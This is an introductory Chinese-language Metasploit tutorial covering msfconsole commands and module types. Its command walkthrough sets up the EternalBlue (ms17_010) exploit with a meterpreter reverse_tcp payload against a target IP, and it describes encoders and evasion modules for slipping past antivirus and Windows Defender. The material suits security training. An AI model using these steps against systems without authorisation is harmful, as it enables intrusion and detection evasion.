一、背景
Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程。团队合作,在Metasploit和综合报告提出了他们的发现。
二、常见命令和用法
在kali终端中,使用msfconsole打开Metasploit
默认目录 /usr/share/metasploit-framework
help #查看所有命令
Core Commands #核心命令
Module Commands #模块命令
Job Commands #后台命令
Database Backend Commands #数据库后端命令
Resource Script Commands #资源脚本命令
Credential Backend Commands #证书/凭证后端命令
Developer Commands #开发人员命令
常用命令
msfconsole #进入框架
search ms17_010 # 使用search命令查找相关漏洞
use exploit/windows/smb/ms17_010_eternalblue # 使用use进入模块
info #使用info查看模块信息
set payload windows/x64/meterpreter/reverse_tcp #设置攻击载荷
show options #查看模块需要配置的参数(required为yes的就必须要指定一个参数)
set RHOST 192.168.47.165 #设置参数
exploit / run #攻击
三、模块说明
auxiliary(辅助模块)
该模块不会直接在测试者和目标主机之间建立访问,它们只负责执行扫描、嗅探、指纹识别等相关功能以辅助渗透测试,检查目标机是否存在该漏洞。
exploits(渗透攻击/漏洞利用模块)
- 渗透攻击模块是利用发现的安全漏洞或配置弱点对远程目标进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问的代码组件。流行的渗透攻击技术包括缓冲区溢出、Web应用程序漏洞攻击、用户配置错误等,其中包含攻击者或测试人员针对系统中的漏洞而设计的各种POC验证程序,以及用于破坏系统安全性的攻击代码,每个漏洞都有相应的攻击代码。
- 渗透攻击模块是Metasploit框架中最核心的功能组件。
payloads(攻击载荷模块)
- 攻击载荷是我们期望目标系统在被渗透攻击之后完成实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令或者执行特定代码。
- 攻击载荷模块从最简单的添加用户账号、提供命令行Shell,到基于图形化的VNC界面控制,以及最复杂、具有大量后渗透攻击阶段功能特性的Meterpreter,这使得渗透攻击者可以在选定渗透攻击代码之后,从很多适用的攻击载荷中选取他所中意的模块进行灵活地组装,在渗透攻击后获得他所选择的控制会话类型,这种模块化设计与灵活的组装模式也为渗透攻击者提供了极大的便利。
encoders(编译器模块)
编码器模块通过对攻击载荷进行各种不同形式的编码,完成两大任务: -是确保攻击载荷中不会出现渗透攻击过程中应加以避免的"坏字符”; 二是对攻击载荷进行“免杀”处理,即逃避反病毒软件、IDS/IPS的检测与阻断。
post(后渗透攻击模块)
后渗透攻击模块主要用于在渗透攻击取得目标系统远程控制权之后,在受控系统中进行各式各样的后渗透攻击动作,比如获取敏感信息、进一步横向拓展、 实施跳板攻击等。
evasion(规避模块)
规避模块主要用于规避Windows Defender防火墙、Windows应 用程序控制策略(applocker)等的检查。
四、总结
以上部分只是入门Metasploit的基础知识,想要真正学会使用,还要结合具体实例,比如各种漏洞的复现来学习